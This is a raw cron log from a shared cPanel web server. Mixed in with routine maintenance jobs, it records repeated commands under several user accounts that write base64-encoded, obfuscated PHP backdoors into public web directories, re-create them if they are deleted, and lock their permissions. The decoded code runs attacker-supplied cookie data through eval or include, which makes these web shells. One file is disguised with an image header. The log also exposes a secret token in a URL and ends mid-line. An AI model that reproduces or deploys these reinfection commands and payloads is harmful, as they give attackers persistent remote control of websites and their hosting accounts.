Mar  1 19:14:01 medusa CROND[12014]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 19:14:01 medusa CROND[12016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:14:01 medusa CROND[12018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:14:01 medusa CROND[12019]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:14:01 medusa CROND[12020]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:14:01 medusa CROND[12025]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:14:01 medusa CROND[12027]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:14:01 medusa CROND[12031]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:14:01 medusa CROND[12030]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:14:01 medusa CROND[12034]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:15:01 medusa CROND[4128]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 19:15:01 medusa CROND[4215]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 19:15:01 medusa CROND[4216]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 19:15:01 medusa CROND[4217]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:15:01 medusa CROND[4218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:15:01 medusa CROND[4222]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 19:15:01 medusa CROND[4224]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 19:15:01 medusa CROND[4225]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:15:01 medusa CROND[4226]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:15:01 medusa CROND[4227]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 19:15:01 medusa CROND[4232]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:15:01 medusa CROND[4234]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:15:01 medusa CROND[4242]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:15:01 medusa CROND[4244]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 19:15:01 medusa CROND[4246]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:15:01 medusa CROND[4247]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:15:01 medusa CROND[4248]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 19:15:01 medusa CROND[4258]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 19:15:01 medusa CROND[4229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:15:01 medusa CROND[4262]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:15:01 medusa CROND[4256]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 19:15:01 medusa CROND[4261]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 19:15:01 medusa CROND[4245]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 19:16:01 medusa CROND[28926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:16:01 medusa CROND[28927]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:16:01 medusa CROND[28928]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:16:01 medusa CROND[28929]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAu